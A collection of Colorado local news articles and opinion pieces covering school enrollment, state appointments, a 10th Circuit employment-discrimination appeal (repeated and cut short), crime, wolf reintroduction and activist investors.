Enrollment first dropped in the fall of 2020, just after the pandemic began. Last school year, enrollment seemed to recover slightly, though it remained below pre-pandemic levels. This fall, student enrollment again decreased to near 2020 levels, with a total of 883,264 students in preschool through 12th grade.

Colorado's largest schools reported similar losses, although a few bucked the trend.

Colorado looks to stem the closure of schools for students with intense needs

Adams-Arapahoe, for example, added 600 students. St. Vrain Valley and Poudre both saw their student count increase by a few hundred.

Schools in the Pikes Peak region also bucked the statewide trend.

All told, enrollment dropped in more than half of the school districts in the state.

In the metro area, that included the Mapleton School District, which until this year had held steady or grown while other districts lost students. The second largest percentage decrease in enrollment occurred in the Adams 14 school district, which counted 5,692 students, down from 6,114 last fall, and from more than 7,000 students in 2018.

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While Adams 14 enrollment has steadily decreased over the years, the states orders last May to reorganize the district may have steepened the decline. It was the first time the state exercised its authority to order a reorganization, which could end in closure of schools or neighboring districts taking control of parts of the district.

The Aurora school district, on the other hand, reported an increase in enrollment. Because of new housing development in its eastern sector, officials there already expected their student counts to start increasing soon, but they remained unsure when it would happen.

Despite that expectation, Aurora officials have said it wouldnt resolve the districts enrollment and facilities issues. Uneven housing patterns have prompted school closures closer to the Denver boundary, while also requiring the district to construct new buildings near developments to the east.

Meanwhile, charter schools authorized under the states Charter School Institute grew enrollment slightly. Statewide, all charter schools enrolled about 2,500 more students than they did a year earlier, a 1.8% increase.

Superintendent Ken Witt of Woodland Park RE-2 in Woodland Park, the largest city in Teller County, said the district, which added nearly 300 students, adapted to the changing education environment by offering more options to our families through school choice, various programs at every level of learning and continued partnerships with parents.

Statewide, the largest declines this time around occurred in kindergarten and middle school grades.

Denver Public Schools improves graduation rate in 2022 while dropout rate bumps up

Year-over-year kindergarten enrollment declined in October 2022 by 2,373 students or by 3.8%. The number of full-day kindergarten students in 2022 stood at 58,371, compared with 61,989 in 2019 before the pandemic. Preschool enrollment did go up in 2022 and is closer to its pre-pandemic levels.

Based on racial and ethnic breakdowns, white students saw the largest change in raw numbers with a 7,673-student decline. Based on a percentage change, American Indian and Alaska natives had the largest decrease with 4.7% fewer students than in fall 2021.

Schools enrolled more students who qualify for free or reduced-price lunch, a measure of poverty, last fall compared with the fall of 2021, though the number is still lower than in 2019. But with lower overall statewide enrollment, the percentage of students living in poverty out of all students was roughly the same last fall  39.9%  as it was in 2019.

Families had to fill out forms this school year to qualify for free lunch. During the past two years, because of federal waivers, all students could eat school meals for free.

Among individual districts, a similar pattern emerged where most had proportions of students qualifying for subsidized lunches going up from last year, but not quite reaching 2019 levels.

The overall enrollment decrease also includes fewer students home-schooled and fewer students in online schools. A total of 8,674 students were counted as home-schooled in October, down from 10,502 in fall 2021. This years home-schooled count now nears the 7,880 enrolled in 2019.

In online schools, the state counted 30,799 students enrolled this year  583 fewer than in 2021. Colorado only has limited data on private school enrollment.

Chalkbeat is a nonprofit news site covering educational change in public schools.
The Office of Economic Development and International Trade this January welcomed a new executive director in Eve Lieberman, Gov. Jared Polis chief policy advisor and legislative counsel.

Lieberman took over the role from Patrick Meyers on Jan. 1.

Lieberman has served in legislative and policy departments, in addition to federal affairs work for Polis in his first term as his congressional chief of staff. Her work was critical in the enactment of free full-day kindergarten and universal preschool, climate change and energy policy, lowering healthcare costs, and economic recovery legislation, according to a news release from the Governors office.

OEDIT, whose task is to support economic development and job growth efforts by working with statewide partners, offers economic incentives to expand and bring businesses to the state.

Polis spoke highly of Lieberman over the years.

We are thrilled Eve will be helping Colorados small businesses and entrepreneurs grow, innovate, and expand into new markets while expanding our trade programs, Polis said in a press release. Eve will be missed by many on our staff but is not going far and we are excited for what she will bring to the table to help keep Colorados economy thriving.

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Lieberman previously worked in Congress for a decade, notably as as chief of staff to then-congressman Polis. In Congress, she focused on technology, innovation, and trade policy and helped establish Startup Day Across America.

Lieberman earned her education at the University of Michigan with a degree in political science followed by the George Washington University Law School. She served as a law clerk for the U.S. Department of Justice and interned for the U.S. Attorneys Office for the District of Columbia.

Loren Furman, president and CEO of the Colorado Chamber, said Lieberman aided the governor and the business community in using data-driven, balanced approaches to recover from COVID-19 pandemic.

Eve will continue to deliver positive results for Colorados business community and the State in this new role, Furman said in a press release.

Meyers, who had served as executive director at OEDIT since April 2021, will remain the chief recovery officer for Colorado. In this role, he will manage the staff, oversight and compliance of the states American Rescue Plan Act and Infrastructure Investment and Jobs Act.

Pat Meyers is a constant professional and problem solver, so we are delighted he will continue working on recovery issues for the administration, J.J. Ament, President and CEO of the Denver Metro Chamber of Commerce, said in a press release. We are thrilled to continue working with Eve and the administration on ways we can continue to develop our economy and grow our tourism industry.
The federal appeals court based in Denver appeared reluctant on Monday to accept the argument of a former Denver custodian who alleges her race and national origin were the reason she was fired from the city  rather than her supervisors' stated reason: that she held herself out publicly as a police officer.

Emina Gerovic, a white woman from Bosnia-Herzegovina, sued Denver and its security contractor, HSS, Inc., following her November 2017 termination from the city's facilities management department.

In Gerovic's telling, her superiors treated her harsher than the Hispanic employees she worked alongside. But last year, a trial judge sided with the defendants after noting the other custodians Gerovic compared herself to had not advertised on Facebook that they worked in law enforcement, as Gerovic had. She then turned to the U.S. Court of Appeals for the 10th Circuit.

Gerovic "experienced nothing but a constant display of harassment and discrimination of her because she was non-Hispanic. And its not just her opinions, but she actually observed all of these things," her attorney, Nathan Davidovich, told a 10th Circuit panel during oral arguments.

The three appellate judges, however, asked Davidovich about his evidence purporting to show Gerovic was the victim of discrimination for being white.

"Could you give us one of those comparators? Someone who is Hispanic and in a similarly-situated situation? Who did the same thing she did and was not terminated?" asked Senior Judge Mary Beck Briscoe.

Davidovich ticked off other custodians whose alleged misconduct included being rude, violating the dress code or exhibiting poor performance.

"Dont we have a very different scenario as regards your client?" Briscoe interjected. "That is, holding herself out to be a police officer on Facebook."

Gerovic worked in facilities management between 2014 and 2017 and was assigned to the Denver Police District Five station. She incurred various disciplinary infractions, including a verbal reprimand for safety reasons, counseling for her cell phone use and a written reprimand for dishonesty.

In September 2017, a facilities supervisor, who is Hispanic, learned about Gerovic's Facebook profile. Screenshots sent to the human resources department showed Gerovic's workplace listed as "Denver Police District 5" and "Traffic Operations," and her title as "Police Officer at Denver Police Department." There were also photographs of her wearing a hat and clothing with the police department's logo. The pictures were reportedly taken at a retirement party three years prior.

According to her dismissal letter, dated Nov. 27, 2017, facilities management director James E. Williamson told Gerovic that she was "representing yourself as a police officer and continued to do so after these posts by listing your job as a police officer up until we requested you remove it in September 2017."

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Williamson called it "troubling and unacceptable" for Gerovic to identify herself publicly as a police officer, which could "also be dangerous to you and the public, should someone need police assistance or intervention and come to you for help."

Gerovic then sued Denver for racial discrimination and retaliation. She also sought to hold HSS liable for placing "be on the lookout" (BOLO) posters with Gerovic's face in city facilities while Gerovic was on administrative leave. The posters advised security personnel to contact their supervisor if they saw Gerovic enter.

In January 2022, U.S. District Court Judge Raymond P. Moore sided against Gerovic. HSS, he reasoned, did not violate her rights because it acted at the city's direction in creating the BOLO posters. As for Denver, Moore was unpersuaded by Gerovic's contention that her Hispanic coworkers also misbehaved but received more lenient discipline.

"The Court finds such incidents are factually distinct from the misconduct that prompted Plaintiff's firing  representing herself as a police officer on Facebook," he wrote.

On appeal, Gervoic insisted there was "no evidence" anyone actually believed she was a police officer, maintaining it was a "joke." Davidovich also argued his client's firing was unusual, given that the Hispanic custodians "were routinely permitted to engage in harassing and unprofessional behavior."

Judge Robert E. Bacharach responded that Gerovic had experienced other, less severe discipline for her prior workplace issues, more in line with what her Hispanic colleagues incurred.

"She was fired for what nobody even learned about until September," Bacharach said.

At the same time, Bacharach pointed out there was evidence suggesting the city's "ordinary reaction" would have been for supervisors to counsel Gerovic about their expectations, rather than move to terminate her.

The city, in its written brief to the 10th Circuit, argued there were no allegations Gerovic's supervisors made comments about her nationality. Denver's lawyers reiterated that it was her burden to show the city treated her differently than Hispanic employees who were otherwise similar to her.

In fact, wrote the Denver City Attorney's Office, the city had terminated a Hispanic custodian for dishonesty, just as it did with Gerovic.

The case is Gerovic v. City and County of Denver et al.
A judge sentenced an Aurora man who brutally beat a woman on a popular park trail to more than two decades in prison, the local prosecutor's office said on Monday.

Arapahoe County Judge Ryan Stuart handed the sentence to Julio Cesar Gonzalez, 25, for the 2020 attack on a woman at the High Line Canal Trail, a popular spot for hikers, cyclists, and bird watchers.

Officers had traced Gonzales to a nearby homeless encampment, and GPS data tracker put him at the scene of the attack at the time it happened, according to a news release from the district attorney representing the 18th Judicial District.

Aurora police officers responded to a report that a man with a board had attacked a woman who was exercising near 1st Avenue and Moline Street on July 11. Officers found the woman, who sustained injuries to her head and hands, and took her to the hospital for treatment. She survived.

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The prosecutor's office said investigators located a homeless campsite nearby and found a piece of wood and a black bed headboard, which they concluded had similar characteristics to the wood discovered at the crime incident.

Officers obtained a search warrant and learned a criminal summons had been issued against Gonzalez for an unrelated incident. They also learned Gonzalez wore a GPS ankle bracelet, and the GPS data revealed Gonzalez was "directly" at the crime scene on the day and time the attack occurred, the prosecutor's office said.

The investigation also revealed that a similar attack in the same area occurred three days before. The victim, a woman who was riding a bike with two teenage daughters, sustained injuries to her arm and elbow. She identified Gonzalez as the attacker in a photo lineup, the prosecutor's office said.

The defendants aggressive and violent behavior showed a complete disregard for human life, District Attorney John Kellner said in the news release. People in our community deserve to feel safe at our local parks and trails. I hope this lengthy sentence restores some sense of safety and security in our community.
Crime Stoppers has organized a town hall in which public safety experts will discuss how Colorado Springs citizens can help fight and prevent crime in the community.

The free and public event will begin at 5:30 p.m. Tuesday at the DoubleTree by Hilton Hotel, 1775 E. Cheyenne Mountain Blvd. It will also be livestreamed at gazette.com.

Panelists include Colorado Springs Police Chief Adrian Vasquez, El Paso County Sheriff Joe Roybal, District Attorney Michael Allen, University of Colorado at Colorado Springs criminology professor Jon Caudill and School District 11 Superintendent Michael Gaal. The Gazette is co-sponsoring the event.

Crime Stoppers, the primary sponsor, offers an anonymous platform for citizens to report information about crimes or suspects.

Thats all based on the (principle) that someone other than the criminal has information about a crime thats been committed, Crime Stoppers chairman Don Addy said. This is really an extension of our mission, and that is to help give people tips and ideas on how they can help.

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The town hall is an effort to reduce crime levels in the community following a local uptick in recent years. Colorado Springs saw a record number of homicides last year with 54, marking the third straight year of record highs. Police investigated 44 homicides in 2021 and 39 homicides in 2020.

Colorado Springs violent crime rate rose 35% between 2015 and 2020 as the national rate remained steady, according to data released in September by Pikes Peak United Way. Hate crimes also saw a sharp increase during that time, and as property crime rates have decreased by a fifth nationwide, such crimes have held steady in Colorado Springs.

Panelists will discuss how they fight crime in their respective roles and how the community can assist them. Topics will include causes of crime, the citys high recidivism rate and how the school system works to keep kids on the right path, among other subjects. Citizens can submit additional questions to the panel at gazette.com/crime.

Crimes oftentimes are crimes of opportunity. A person is on drugs, and they need money to feed their habit. Theyll walk by a vehicle that has the keys in the ignition and is unlocked, and theyll get in and steal it. Well, that doesnt have to happen, Addy said. These are the kinds of things that were trying to share with the community. You can help by just taking care of your things and taking care of yourself.
Manitou Springs School District 14 announced Assistant Superintendent Eric McMartin will serve as interim superintendent following Superintendent Elizabeth Domangue's departure after signing a separation agreement at a special meeting on Friday.

The school board will meet at 1 p.m. Monday to discuss interim leadership. The meeting is open to the public and can be streamed online.

Domangue and the Manitou school board mutually agreed to part ways, with the board unanimously voting to accept Domangue's signed separation agreement on Friday. The terms of the agreement were not disclosed.

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Students, staff, families and the community will participate in the transition process, according to the release.

I will never not say it.. ..Manitou Springs School District is an amazing school district with so many wonderful people and unique opportunities in the most beautiful setting, Domangue said in a news release Monday. I feel especially fortunate to have gotten to know our students, staff, and families over the years.
The last known wolf in Colorado was killed in 1943, but now wolves have returned to Colorado through migration from Wyoming. In 2019 two lone wolves with radio collars were detected in the state. By 2021 a pack that included six wolf pups was confirmed in Northwestern Colorado.

Colorado rancher Don Gittleson has so far been at the epicenter of wolf predation  the animals are predators who don't care if the prey is owned by ranchers. His ranch is north of Walden, which is about 100 miles west of Fort Collins near the Wyoming border.

He expects things are going to get worse for ranchers, not better, as more wolves are introduced by the state.

When there are wolves on the landscape, (ranchers) have lost animals to wolves, Gittleson told The Denver Gazette in an interview. And we haven't figured out to stop that yet. Odds are that's not going to stop.

So far, Gittleson has lost about 10 cows and calves since the wolves showed up. Colorado Parks and Wildlife has paid for some of them, denied others, and compensation for a crippled cow is pending.

He may not be the only rancher in the area who has lost livestock. According to a news release last October, the agency investigated reports of the deaths of dozens of calves near Meeker that may be wolf related.

In 2020, Proposition 114 was put before Colorado voters, where it passed by 56,986 votes. The Proposition requires Colorado Parks and Wildlife to reintroduce and manage gray wolves west of the Continental Divide by Dec. 31, 2023.

The agency held the first of five public hearings on the proposed wolf management plan last Thursday in Colorado Springs to educate residents on the status of the draft plan and take comments from the public.

Darlene Kobobel, a member of the agencys Stakeholders Advisory Group and founder of the Colorado Wolf and Wildlife Center  a wolf and wolf hybrid sanctuary near Divide  is a supporter of reintroduction.

I feel that the reintroduction should be a positive event in history after almost 80 years of being absent from native land. The wolf is a symbol of freedom, loyalty, strength, and the spirit of nature, said Kobobel in her testimony.

Michelle Smith, who lives in rural Fremont County in an area designated for wolf reintroduction, voiced concern about the number of wolves that would be released, saying the 200-wolf target is far too small a number.

The agency has set 200 as the floor number that can be considered a viable population, above which the agency can consider controlled and limited wolf hunting.

The very tiny numbers for down-listing is reflective of pretty outdated science from the reintroduction into Yellowstone and Idaho in the mid-nineties," Smith said. "So, per the wording of Prop 114, the best scientific data available should be used to develop the plan, and data from the 1980s and nineties doesn't seem to be that best available science.

We know that Colorado can sustain about a thousand wolves. We don't want Colorado to follow the footsteps of Idaho, Montana, and Wyoming, and so far, it's been disappointing to see CPW looking to those three states for guidance in this process.

Wolf hunts have been authorized in areas of all three states. Montana has an estimated 1,100 wolves and Idaho has a wolf population estimated at 1,500 wolves. Wyoming has about 324 wolves, and along the Colorado border and in the vast majority of Wyoming, wolves are presently considered predator animals that can be shot on sight at any time and without a license.

Colorado officials suspect that some members of the pack that killed Gittleson livestock may have been killed by hunters when they ventured across the Wyoming border, some 12 miles north of Gittlesons property.

The draft plan includes provisions for killing wolves that predate on livestock when judged necessary by the agency.

Kobobel and several other of the 27 citizen speakers at the meeting urged the commission to remove lethal management provisions as well as a provision that would allow licensed hunting if, and when, wolf populations justify it.

There should be no lethal management until non-lethal methods have been tried, said Kobobel.

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The public is watching and has trust in CPW that we are better than our neighboring states, especially those to the north, said Ryan Cutts. Can you imagine what the public and the kids who are following the wolves would think to see our wolves being killed? We voted to see them living free, thriving and doing their job as a keystone species, not being killed for sport.

Gittleson has more than two years experience with non-lethal methods of deterring wolf predation.

With the help of Colorado Parks and Wildlife, he tried turbo fladry  which is an electric fence with fluttering nylon flags sewn to it that some claim deters wolves. He tried others, too.

Jennifer Sherry, a wildlife science and policy specialist at the Natural Resources Defense Council said in a 2020 blog post: When used correctly, turbo fladry is a highly effective tool for preventing wolf predation.

But it didnt work long for Gittleson, and hes spent a lot of money on trying to deter wolves.

I always hoped that the non-lethal things would work for at least a year, Gittleson told the Commission. They did not. I mean the wolves, anything that we manufacture, they can get used to it. It just takes a little bit of time. The problem was it didn't take as long as I was hoping.

He found that wolves adapt quickly to scare tactics. Even using firecrackers, lights and physical human presence rapidly became ineffective and could spook the cattle. Nor are the costs of these efforts being paid for entirely by the state.

I've probably spent somewhere around $12,000 to $15,000 of my own money for non-lethal, said Gittleson.

Gittleson told the Commission that wolves walk right through his ranch stead at night and arent deterred by pickup trucks and lights when on the hunt.

So, they were getting pretty brave the last time they came in the pasture when I was there. They attacked a cow and a calf. I had a truck running that's an old diesel truck that makes a lot of noise. And I had the lights on, and I was about 400 yards away from 'em, Gittleson said in his testimony. Id shut the truck off to make sure I knew that I was hearing, what I thought I heard, and to get a location of where they were at. I had started the truck back up, drove right at 'em with the horn honking because I was afraid they'd kill that calf before I got there. They were still there fighting with that cow when I got there with the truck. I ran two of the pups off. But as soon as I saw the male, I quit chasing them and I chased him the length of the field.

Not all ranchers have the same dim opinion of wolves though.

Cattleman and veterinarian Rick Leone has raised Shorthorn cattle on his Peakview Ranch near Fowler in Southeastern Colorado for 45 years.

Interviewed at the National Western Stock Show, Leone said wolves are absolutely beautiful animals, but he acknowledges that they are predators and as the population grows, conflicts with livestock and humans are going to be a problem.

How could you not love them? I feel like the wolves are being put in a very bad situation, Leone said. I think the people who love them and really care about them should think about that.

I feel bad for potentially what's going to occur. If the numbers can be kept somewhat reasonable, then I could see us all living and getting along together. But its hard to play God that much and keep those numbers where they're reasonable without them being a risk to humans, their pets, wildlife  they're going to prey on wildlife, said Leone.

Leone believes that predation on wildlife will be beneficial to riparian areas along streams and rivers, where elk, moose and deer like to gather.

It'll allow brush to grow, it'll allow beaver to come back, said Leone. So, I get all the wonderful things they do, but when that population gets heavy and starts to exponentially grow, it's going to be rough.

For Gittleson rough may mean being driven out of business by wolves.

Asked by Commissioner Dallas May if surviving this level of predation is sustainable, Gittleson said: Sustainable. I hate that. I don't like that question because it's a very real question. I don't answer it for sure it  it's too personal. I know in my situation, I could not sustain it.

A comment form specific to the draft plan will be posted on the CPW website and at engageCPW.org through February 22. Between January 19 and February 22, five statewide hearings (four in-person, one virtual) will be held to gather information from the public to be considered in developing the final plan. Additional information on meeting times and locations can be found here.

In-person meetings will be held in Gunnison on Jan. 25th, Rifle on Feb. 7th, Denver on Feb. 22nd, and at the Commissions regular meeting March 15 and 16, and in Steamboat Springs April 6th.

The final decision on the plan will be made by the Commission May 3-4 in Glenwood Springs.
One person has died following a crash that involved five vehicles in northeast Colorado Springs Friday, police announced.

An investigation by the Colorado Springs Police Department revealed that a Ford F150 traveling northbound on Austin Bluffs Parkway moved into the left turn lanes at the Rangewood Drive intersection.

The Ford failed to stop and struck a Honda Civic. Both vehicles then collided with other vehicles in the intersection, police said.

The drivers of the Ford F150 and Honda Civic were taken to area hospitals with serious injuries. According to a release, the driver of the Honda Civic died two days after the crash.

The victim has been identified as 69-year-old Wolfgang Lampert, police said. Lampert was the owner of Colorado Springs-based pinball maintenance company PinballWorx, founded in 2011. At the time of the crash, Lampert was on his way to fix a pinball machine, according to his wife of 42 years, Darlene.

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Lampert was also a musician and served as the parish organist at Rock of Ages Lutheran Church for 40 years.

According to police, speed appears to be a factor in the crash. It is unclear if drugs were involved, but alcohol is not believed to be a factor. Police said no arrests have been made. The Colorado Springs Police Departments Major Crash Team is conducting the investigation.

This is the first fatal car crash this year in Colorado Springs. Last year at this time, there was one traffic fatality.
Remember that line in Gov. Jared Polis State of the State speech last week downplaying Colorados crime rate  even as he pledged to fight the good fight?

Every person deserves a safe home and a safe community, and in three years I want Colorado to be closing in on our goal of becoming one of the top 10 safest states in the country, Polis said in his fifth annual address to the legislature. Right now, Colorado falls in the middle of the pack on crime rates, but thats not good enough. We can and we must do better.

Middle of the pack? That one drew double takes from more than a few observers in the political world  and probably plenty of rank-and-file Coloradans out in the real world.

Theyve heard about Colorados dubious distinction as the No. 1 state for auto theft and even may have lost a vehicle to theft themselves. They are achingly familiar with the epidemic of fentanyl deaths that has plagued our state in the wake of the legislatures decriminalization of it and other hard drugs four years ago. They know rampant theft is out of control and that the Denver metro area set the pace among the states last year for porch piracy, too.

Colorado is hardly middle of the pack  and an enlightening Gazette news report using federal crime data made that clear over the weekend.

It turns out Colorado's crime numbers are much worse than the national rate, according to FBI statistics. Consider violent crime, including homicides, aggravated assaults, robberies and rapes. The FBIs National Incident-Based Reporting System reveals the total violent crime rate for Colorado was 481 crimes per 100,000 residents in 2021. Nationwide, by contrast, the same database shows the violent crime rate was 395.7 per 100,000 people.

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The gap was even wider for property crime, including burglary, larceny and vehicle theft. The FBI pegged Colorado at 3,135.4 property crimes per 100,000  nearly 40% higher than the nationwide rate of 1,933.4 per 100,000.

If the governors poor choice of words in characterizing Colorados crime rate hinted at a failure to grasp how pressing a problem it really is, the same might be said of his decision not even to raise the subject until the home stretch of a speech that spanned more than an hour. Colorado is, indeed, awash in an epic crime wave, and if the elected officeholders at the State Capitol dont know that by now, they really ought to step out from under the Gold Dome more often.

To the governors credit, as noted here last week, he called for a crackdown on rampant auto theft. In an about-face from his decision two years ago to sign a bill that in part watered down penalties for auto theft, Polis urged lawmakers this time to embrace proposals to "get tough on auto theft sentencing.

Also encouraging was Polis praise in his speech for the mayors of Aurora, Colorado Springs and Denver for helping identify tools to successfully fight crime in their communities, and he added, together we want the state to step up and be a more constructive partner in this work.

I join their recent bipartisan call to action, he continued, including: greater penalties for car theft, deterring unlawful weapon possession by felons, and cracking down on ghost guns, which are completely untraceable and increasingly being used to carry out violent crimes.

Hes on the right track. But will his fellow Democrats in the legislature get on board?
Corporate raider. Its a phrase that strikes fear into boardrooms across America, and provokes feelings of disdain among many ordinary Americans, who rightly blame these raiders  or activist investors, as they now prefer to be called  for seizing control of Americas most storied companies, carving them up, and selling them off for parts.

From Trans World Airlines in the 1980s to Sears and Kmart in the early 2000s, dozens of once-thriving firms have been gutted by activist investors who were more interested in financial engineering and turning a quick profit than growing the companies for the long-haul.

Critics normally decry raiders callousness towards workers. And its certainly true that the arrival of activist investors often leads to massive layoffs.

But whats less obvious is that regular consumers suffer too. When activists slash research and development efforts, staffing, and cut other expenses to the bone, it means worse service and foregone products for everyday Americans. And especially when activist investors attack biotech companies, their greed can have life or death consequences.

In the deregulatory craze of the 1980s, the countrys most famous  or perhaps infamous  corporate raiders like Carl Icahn, Nelson Peltz, and T. Boone Pickens often pursued leveraged buyouts, using borrowed money to purchase entire companies in deals that commanded front-page headlines.

Todays activist investors typically prefer a less flashy approach. They acquire a minority share of a company and then demand a significant share of board seats, which allows the activist to boss executives around and force them to embark on strategies and business plans designed to boost share prices in the short term, even if that means sacrificing the long-term health of the company.

If the existing board grants that request, activists get their way. If the board refuses, activist investors can launch a proxy fight, seeking to convince other large shareholders to oust the board and appoint a more pliant new one.

Consider one ongoing proxy fight that has attracted considerable media attention in recent months. In 2022, the activist investing firm, Politan Capital Management, acquired an almost 9% stake in the medical device manufacturer Masimo and subsequently demanded 40% of Masimos board seats. Masimos board, realizing that Politan would likely pare back the companys promising, but expensive, investment in the over-the-counter medical device market, balked and took countermeasures to fend off Politan, which are now the subject of litigation in Delaware Chancery Court.

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In most cases, activists are just looking for a quick jump in the stock price so they can cash out and move on. Activists hold the shares in their target companies for a median of only 423 days, according to one study from the Institute for Governance of Private and Public Organizations. They dont care what happens after they divest.

Thats why so many activists call for patently short-sighted measures, like slashing research and development budgets or spinning off business units that have enormous long-term potential.

Destroying a companys growth prospects in order to pay out bigger shareholder dividends makes no sense for executives or investors who are planning five, ten, even twenty years down the road. But for an activist who wont have any stake in the company a year from now, it can be a sensible  albeit cold-hearted  decision.

This isnt theoretical  thats precisely what happens in successful activist takeovers. R&D gets cut by more than half, on average, after activists take the reins. DuPont chemical company famously cut its R&D budget because of an activist campaign.

The harm from cuts to R&D can be a matter of life or death in health-related sectors like biotech. Abandoning work on cutting-edge medical technologies exacts a toll not only on a companys viability, but a social cost in lost lives and diminished quality of life.

Unfortunately, the scourge of short-termism is only increasing. The number of newly launched activist campaigns jumped nearly 40% between 2021 and 2022.

Greater government restrictions on activist investors would help at the margins. But ultimately, if ordinary shareholders want to do right by themselves, as well as their workers and consumers, theyll need to vote against the recommendations of fast-buck artists.

Regina Thomson is the president of the Colorado Issues Coalition, as well as president of The Right Voices.
Public school enrollment in the Pikes Peak region is bucking a statewide trend of fewer students.

Colorado enrolled 3,253 fewer preschool through 12th grade students this academic year over 2021-22, but the Pikes Peak regions 17 public school districts collectively gained 450 students, according to official numbers the Colorado Department of Education released last week.

Nine local districts posted increases from the annual head count taken in October.

District 49 led the way with a jump of 849 students, or 3.43% of its enrollment of 25,616 students.

D-49, covering an eastern central swath of the county, has been steadily growing since 2009 when it had 14,398 students.

Housing construction has driven the explosive growth of nearly 20% in the past five years, district officials have said, and have rallied to meet the demand by opening several new schools in recent years.

Now, D-49 has pulled within 1,000 students of the regions largest school district, Academy D-20, which grew by 207 students this year for an enrollment of 26,607, statistics show.

Many schools are rebounding from the pandemic, said Cheyenne Mountain School District 12 Superintendent David Peak.

Like many other districts, we continue to work on recovering from learning loss, supporting the mental health wellness for students and staff, as well as focusing on expanding opportunities for students through the effective use of technology as well as college and career pathways, he said.

D-12 enrolled 82 more students this year than last year, according to the data. But from 2016 to 2021, the district had a 28.68% decline, amounting to a loss of 1,497 students.

Part of the decrease, Peak said, can be attributed to a charter school, The Vanguard School, vacating its authorization under D-12 and adopting a charter under a different neighboring district, Harrison D-2.

When comparing our district over the past few years and not including The Vanguard School, we saw a slight decline of approximately 250 students; however, we have already begun to recover our enrollment numbers by increasing students per the last October count, he said.

Woodland Park RE-2 in Woodland Park, the largest city in Teller County, jumped by 290 students, a 15.83% increase over 2021-22.

By the numbers Up this academic year: District 49: 25,616 students, a gain of 849 students or 3.43% Woodland Park RE-2: 2,122 students, a gain of 290 students or 15.83% Widefield D-3: 9,612 students, a gain of 242 students or 2.58% Academy D-20: 26,607 students, a gain of 207 students or 0.78% Cheyenne Mountain D-12: 3,723 students, a gain of 82 students or 2.25% Miami-Yoder 60-JT: 340 students, a gain of 27 students or 8.63% Lewis-Palmer D-38: 6,648 students, a gain of 11 students or 0.17% Peyton 23-JT: 620 students, a gain of six students or 0.98% Hanover D-28: 289 students, a gain of six students or 2.22% Total Pikes Peak region gains 2022-23 over 2021-22: 1,720 students Down this academic year Colorado Springs D-11: 22,729, a loss of 637 students or 2.74% Harrison D-2: 12,606, a loss of 396 students or 3.05% Fountain-Fort Carson D-8: 8,201 students, a loss of 101 students, or 1.22% Edison 54-JT: 94 students, a loss of 43 students or 31.39% Cripple Creek-Victor RE-2: 313 students, a loss of 39 students or 11.08% Calhan RJ-1: 424 students, a loss of 22 students or 4.93% Ellicott D-22: 982 students, a loss of 20 students or 2.0% Manitou Springs D-14: 1,317 students, a loss of 12 students or 0.90% Total Pikes Peak region losses 2022-23 over 2021-22: 1,270 Source: Colorado Department of Education

Interim Superintendent Ken Witt said the district adapted to the changing education environment by offering more options to our families through school choice, various programs at every level of learning and continued partnerships with parents.

A new charter school and homeschool enrichment program added to district-run schools have helped broaden the offerings for families, which Witt said he believes has returned enrollment to near pre-pandemic levels.

When parents are able to find the best educational fit for each child, our students and families win, he said. Woodland Park is becoming a destination school district.

Eight local districts saw year-over-year enrollment decreases.

The third-largest district, Colorado Springs D-11, has lost students consistently since 2009, according to state data, and this year had 637 fewer students and a collective loss between 2016 and 2021 of 4,698 students.

El Paso Countys smallest school district, Edison 54-JT, recorded 94 students this school year, which is 43 fewer students than last year and down from 305 students in 2009.

This years enrollment represents 53 brick-and-mortar students, with the remainder taking classes online, said Superintendent David Eastin.

Edison, a rural district in unincorporated Yoder, is celebrating its 100th anniversary this year and has always offered smaller class sizes, he said, and produced a reputation for excellent academics.

This year is no different, Eastin said.

With a student-to-teacher ratio of 4:1, every student receives individualized academic support, he said, and programs that rival larger schools such as science, technology, engineering, arts and math in junior high, science fair students turning a school bus into a tiny home on wheels and college classes available for high schoolers.

Honestly, our education environment is one-of-a-kind, Eastin said.

A total of 883,264 students were counted in Colorados 178 public school districts in October, with the largest decreases in kindergarten and middle school grades.

This year marks the second statewide enrollment decline in three years, after three decades of steady increases, the state education department said.

Among races and ethnicities, white students have had the highest number change in the count, with 7,673 fewer white students statewide, a 1.67% decline.

Contact the writer: debbie.kelley@gazette.com
The federal appeals court based in Denver appeared reluctant on Monday to accept the argument of a former Denver custodian who alleges her race and national origin were the reason she was fired from the city  rather than her supervisors' stated reason: that she held herself out publicly as a police officer.

Emina Gerovic, a white woman from Bosnia-Herzegovina, sued Denver and its security contractor, HSS, Inc., following her November 2017 termination from the city's facilities management department.

In Gerovic's telling, her superiors treated her harsher than the Hispanic employees she worked alongside. But last year, a trial judge sided with the defendants after noting the other custodians Gerovic compared herself to had not advertised on Facebook that they worked in law enforcement, as Gerovic had. She then turned to the U.S. Court of Appeals for the 10th Circuit.

Gerovic "experienced nothing but a constant display of harassment and discrimination of her because she was non-Hispanic. And its not just her opinions, but she actually observed all of these things," her attorney, Nathan Davidovich, told a 10th Circuit panel during oral arguments.

The three appellate judges, however, asked Davidovich about his evidence purporting to show Gerovic was the victim of discrimination for being white.

"Could you give us one of those comparators? Someone who is Hispanic and in a similarly-situated situation? Who did the same thing she did and was not terminated?" asked Senior Judge Mary Beck Briscoe.

Davidovich ticked off other custodians whose alleged misconduct included being rude, violating the dress code or exhibiting poor performance.

"Dont we have a very different scenario as regards your client?" Briscoe interjected. "That is, holding herself out to be a police officer on Facebook."

Gerovic worked in facilities management between 2014 and 2017 and was assigned to the Denver Police District Five station. She incurred various disciplinary infractions, including a verbal reprimand for safety reasons, counseling for her cell phone use and a written reprimand for dishonesty.

In September 2017, a facilities supervisor, who is Hispanic, learned about Gerovic's Facebook profile. Screenshots sent to the human resources department showed Gerovic's workplace listed as "Denver Police District 5" and "Traffic Operations," and her title as "Police Officer at Denver Police Department." There were also photographs of her wearing a hat and clothing with the police department's logo. The pictures were reportedly taken at a retirement party three years prior.

According to her dismissal letter, dated Nov. 27, 2017, facilities management director James E. Williamson told Gerovic that she was "representing yourself as a police officer and continued to do so after these posts by listing your job as a police officer up until we requested you remove it in September 2017."

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Williamson called it "troubling and unacceptable" for Gerovic to identify herself publicly as a police officer, which could "also be dangerous to you and the public, should someone need police assistance or intervention and come to you for help."

Gerovic then sued Denver for racial discrimination and retaliation. She also sought to hold HSS liable for placing "be on the lookout" (BOLO) posters with Gerovic's face in city facilities while Gerovic was on administrative leave. The posters advised security personnel to contact their supervisor if they saw Gerovic enter.

